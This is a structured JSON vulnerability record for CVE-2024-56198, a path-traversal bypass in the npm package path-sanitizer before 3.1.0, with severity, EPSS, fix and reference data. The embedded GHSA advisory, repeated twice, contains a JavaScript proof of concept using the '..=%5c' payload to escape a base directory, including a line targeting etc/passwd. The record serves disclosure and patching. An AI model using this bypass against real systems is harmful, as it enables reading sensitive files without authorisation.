{"id":"CVE-2024-56198","aliases":["EUVD-2025-0018","GHSA-94p5-r7cc-3rpr"],"status":"published","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability","description":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00743,"percentile":0.5517,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-12-31T15:18:12Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"npm","package":"path-sanitizer","fixed_in":["3.1.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"path-sanitizer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.0"}]}]},{"source":"osv","ecosystem":"npm","package":"path-sanitizer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.0"}]}]}],"products":[{"vendor":"cabraviva","product":"path-sanitizer"}],"references":[{"url":"https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead","tags":["x_refsource_MISC","fix","web"]},{"url":"https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56198","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-94p5-r7cc-3rpr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56198.json","tags":["advisory"]},{"url":"https://github.com/cabraviva/path-sanitizer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-56198","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability","description":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","status":"published","published":"2024-12-31T15:18:12.33Z","modified":"2024-12-31T15:50:50.732Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:33:57.983942Z"}],"euvd":[{"id":"EUVD-2025-0018","description":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","status":"published","published":"2024-12-31T15:18:12Z","modified":"2024-12-31T15:50:50Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-03T00:04:31.712293Z"}],"ghsa":[{"id":"GHSA-94p5-r7cc-3rpr","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability ","description":"### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) =\u003e {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n","status":"published","published":"2025-01-02T12:52:42Z","modified":"2025-01-02T12:52:43Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:26.167657Z"}],"nvd":[{"id":"CVE-2024-56198","description":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","status":"published","published":"2024-12-31T16:15:27.247Z","modified":"2026-06-17T08:11:50.033Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:10:41.489236Z"}],"osv":[{"id":"CVE-2024-56198","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability","description":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","status":"published","published":"2024-12-31T15:18:12.33Z","modified":"2026-10-28T02:31:02.851333013Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:44.777182Z"},{"id":"GHSA-94p5-r7cc-3rpr","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability ","description":"### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) =\u003e {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.\n","status":"published","published":"2025-01-02T12:52:42Z","modified":"2025-01-02T13:12:11.215053Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}
